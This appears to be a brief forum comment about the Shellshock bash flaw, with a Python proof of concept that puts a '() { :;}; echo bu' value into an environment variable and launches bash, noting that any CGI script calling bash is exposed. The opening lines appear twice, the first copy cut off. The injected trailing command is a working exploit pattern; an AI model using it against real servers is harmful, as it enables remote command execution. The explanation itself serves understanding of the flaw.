import os os.putenv("ANYTHING", "() { :;}; echo bu") os.system("bash") If this works (and it does) that means it's enough for a CGI script to invoke bash. It d

import os os.putenv("ANYTHING", "() { :;}; echo bu") os.system("bash") If this works (and it does) that means it's enough for a CGI script to invoke bash. It doesn't even have to be written in bash.